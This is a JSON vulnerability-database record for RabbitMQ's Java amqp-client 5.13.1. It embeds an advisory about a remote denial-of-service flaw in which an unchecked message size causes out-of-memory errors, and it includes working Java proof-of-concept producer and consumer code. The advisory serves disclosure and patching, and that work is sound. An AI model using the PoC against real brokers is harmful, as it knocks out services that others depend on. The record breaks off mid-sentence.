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{ "url": "http://public2.vulnerablecode.io/api/packages/685346?format=api", "purl": "pkg:maven/com.rabbitmq/amqp-client@5.13.1", "type": "maven", "namespace": "com.rabbitmq", "name": "amqp-client", "version": "5.13.1", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "5.18.0", "latest_non_vulnerable_version": "5.18.0", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/46278?format=api", "vulnerability_id": "VCID-ktt4-hm4k-9qcf", "summary": "RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack\n### Summary\n`maxBodyLebgth` was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.\n\n### PoC\n#### RbbitMQ\n* Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)\n* Start RabbitMQ\n#### Producer\n* Build a String of length 256M and send it to Consumer\n```\npackage org.springframework.amqp.helloworld; \n\nimport org.springframework.amqp.core.AmqpTemplate; \nimport org.springframework.context.ApplicationContext; \nimport org.springframework.context.annotation.AnnotationConfigApplicationContext; \n\npublic class Producer {\n public static void main(String[] args) {\n ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); \n String s = \"A\";\n for(int i=0;i<28;++i){\n s = s + s;\n System.out.println(i);\n }\n amqpTemplate.convertAndSend(s);\n System.out.println(\"Send Finish\");\n }\n }\n```\n\n#### Consumer\n* First set the heap memory size to 128M\n* Read the message sent by the Producer from the MQ and print the length\n```\npackage org.springframework.amqp.helloworld;\n\nimport org.springframework.amqp.core.AmqpTemplate;\nimport org.springframework.amqp.core.Message;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.AnnotationConfigApplicationContext;\n\npublic class Consumer {\n \n public static void main(String[] args) {\n ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);\n Object o = amqpTemplate.receiveAndConvert();\n if(o != null){\n String s = o.toString();\n System.out.println(\"Received Length : \" + s.length());\n }else{\n System.out.println(\"null\");\n }\n }\n}\n```\n#### Results\n* Run the Producer first, then the Consumer\n* Consumer throws OOM Exception\n\n\n### Impact\nUsers of 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